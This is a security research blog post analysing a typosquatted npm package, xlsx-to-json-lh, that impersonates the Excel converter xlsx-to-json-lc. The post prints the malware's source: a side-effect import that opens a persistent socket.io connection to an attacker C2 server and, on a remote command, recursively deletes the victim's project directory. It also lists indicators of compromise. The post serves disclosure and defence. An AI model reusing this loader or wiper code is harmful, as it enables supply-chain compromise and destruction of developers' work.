
Research
Security News
Protestware in JavaScript UI Toolkits on npm Target Russian Language Sites
Socket investigates hidden protestware in npm packages that blocks user interaction and plays the Ukrainian anthem for Russian-language visitors.
Research
Security News
Kush Pandya
May 30, 2025
One letter off, one entire project gone - could your next npm typo destroy your code?
Socketβs Threat Research Team discovered an npm supply chain attack involving typosquatting and remote code execution. The malicious package xlsx-to-json-lh
typosquats the legitimate Excel-to-JSON converter xlsx-to-json-lc
, differing by just one letter.
Published in February 2019, this package contains a hidden payload that establishes a persistent connection to a command and control (C2) server. When triggered, it can delete entire project directories without warning or recovery options. The package remained undetected on npm for six years before discovery. As of this writing, it remains live on the registry. We have formally petitioned for its removal. Notably, our research found that other packages published by the maintainer leonhard
appear to be legitimate, non-malicious packages, suggesting this was a targeted attack rather than a broader campaign.
The legitimate package xlsx-to-json-lc
[~500k downloads] has served developers reliably since 2016, for converting Excel spreadsheets into JSON format. The attacker exploited this popularity by creating xlsx-to-json-lh
, where the "lc" to "lh" substitution targets a single letter typing mistake.
Legitimate Package: xlsx-to-json-lc
(Author: rahil471
)
Malicious Package: xlsx-to-json-lh
(Impersonates rahil471
, under the npm alias leonhard
)
The malicious package leverages trust by retaining the original author's metadata while adding a new maintainer:
"_npmUser": {
"email": "hofferouandi@yahoo[.]fr",
"name": "leonhard"
},
"_npmVersion": "3.5.2",
"_phantomChildren": {},
"_requested": {
"name": "xlsx-to-json-lh",
"raw": "xlsx-to-json-lh@^0.5.2",
"rawSpec": "^0.5.2",
"scope": null,
"spec": ">=0.5.2 <0.6.0",
"type": "range"
},
"_requiredBy": [
"/"
],
"_shrinkwrap": null,
"_spec": "xlsx-to-json-lh@^0.5.2",
"_where": "/projects/Deploy/syscohada-v3/server",
"author": {
"email": "rahilsk47@gmail[.]com",
"name": "rahil471",
"url": "http://ciphertrick[.]com/"
}
Malicious package xlsx-to-json-lh
package.json file
This creates a facade of legitimacy, developers see the trusted author name and assume safety.
Several indicators point to a French-speaking threat actor:
hofferouandi@yahoo[.]fr
(French domain)Unlike crude malware that immediately breaks functionality, xlsx-to-json-lh
uses a trojan horse approach. The package includes working Excel conversion code, allowing it to pass basic functionality tests while hiding its true purpose.
xlsx-to-json-lh/
βββ index.js // Wrapper file
βββ libs/
β βββ index.js // Loads malware + provides Excel functionality
β βββ support/
β βββ index.js // THE MALWARE (socket.io client)
βββ package.json // Contains legitimate author info to build trust
When a developer imports the package:
./libs/index.js
libs/index.js
immediately loads the malicious payload:var support = require('./support');// Loads malware as side effect
module.exports = support;// Initially exports malware
exports = module.exports = XLSX_json;// Overwrites with legitimate function
libs/support/index.js
establishes a persistent WebSocket connection and waits for commands:var io = require('socket.io-client');
var pathName = __dirname;
// Connect to attacker's C2 server
var socket = io.connect("https://informer-server[.]herokuapp[.]com", {
reconnection: true // Maintains persistent connection
});
socket.on('connect', function () {
socket.on('message', function (data) {
if(data.type == "remise Γ zΓ©ro"){ // French for "reset"
// Calculate project root by working backwards from current location
// Example: /home/user/my-project/node_modules/xlsx-to-json-lh/libs/support
var lastParts = pathName.split("node_modules")[0].split("/");
var lastPart2 = lastParts[lastParts.length - 3]; // Gets project folder name
// Build path to project root and destroy everything
var projectRoot = pathName.split(lastPart2)[0] + "/" + lastPart2;
rmDir(projectRoot); // Recursively deletes entire project
// Notify attacker of successful destruction
socket.emit('message', {type: "removed-successfully"});
}
});
});
No additional user interaction required, the malware activates immediately upon import and maintains a persistent connection, waiting silently for the destruction command.
Once triggered with the French command "remise Γ zΓ©ro" (reset), the payload calculates your project root and recursively deletes everything:
Recovery is virtually impossible without external backups.
The attack's true danger lies in its scalability. Consider a typical development environment:
/home/dev/projects/
βββ client-website/ [infected with xlsx-to-json-lh]
βββ internal-api/ [infected with xlsx-to-json-lh]
βββ data-processor/ [infected with xlsx-to-json-lh]
βββ mobile-backend/ [clean]
With one command from the attacker, three projects vanish simultaneously. For organizations with multiple developers, the impact multiplies 20 developers with 2-3 infected projects each means 40-60 codebases destroyed instantly.
The xlsx-to-json-lh
attack demonstrates how typosquatting combined with trojan functionality creates devastating supply chain compromises. One mistyped character during package installation leads to complete project loss a solid reminder that in modern development, security is only as strong as your weakest dependency.
This attack illustrates severe consequences of supply chain vulnerabilities:
This incident suggests concerning patterns that will likely shape future attacks:
Socket's security tools can help protect against these threats by analyzing package behaviors in real-time to detect dangerous patterns like those seen in this campaign. Our free GitHub app flags risks directly in pull requests, the CLI alerts during package installations, and our browser extension provides security insights on npm package pages helping developers identify potential supply chain threats before they enter your codebase.
xlsx-to-json-lh
leonhard
hofferouandi@yahoo[.]fr
informer-server[.]herokuapp[.]com
T1195.002
β Supply Chain Compromise: Compromise Software Supply ChainT1059.007
β Command and Scripting Interpreter: JavaScriptT1485
β Data DestructionT1036.005
β Masquerading, Match legitimate name or locationT1071.001
β Application Layer Protocol: Web ProtocolsT1102
β Web Service: Bidirectional CommunicationSubscribe to our newsletter
Get notified when we publish new security blog posts!
Try it now
Research
Security News
Socket investigates hidden protestware in npm packages that blocks user interaction and plays the Ukrainian anthem for Russian-language visitors.
Research
Security News
Socket researchers uncover how browser extensions in trusted stores are used to hijack sessions, redirect traffic, and manipulate user behavior.
Research
Security News
An in-depth analysis of credential stealers, crypto drainers, cryptojackers, and clipboard hijackers abusing open source package registries to compromise Web3 development environments.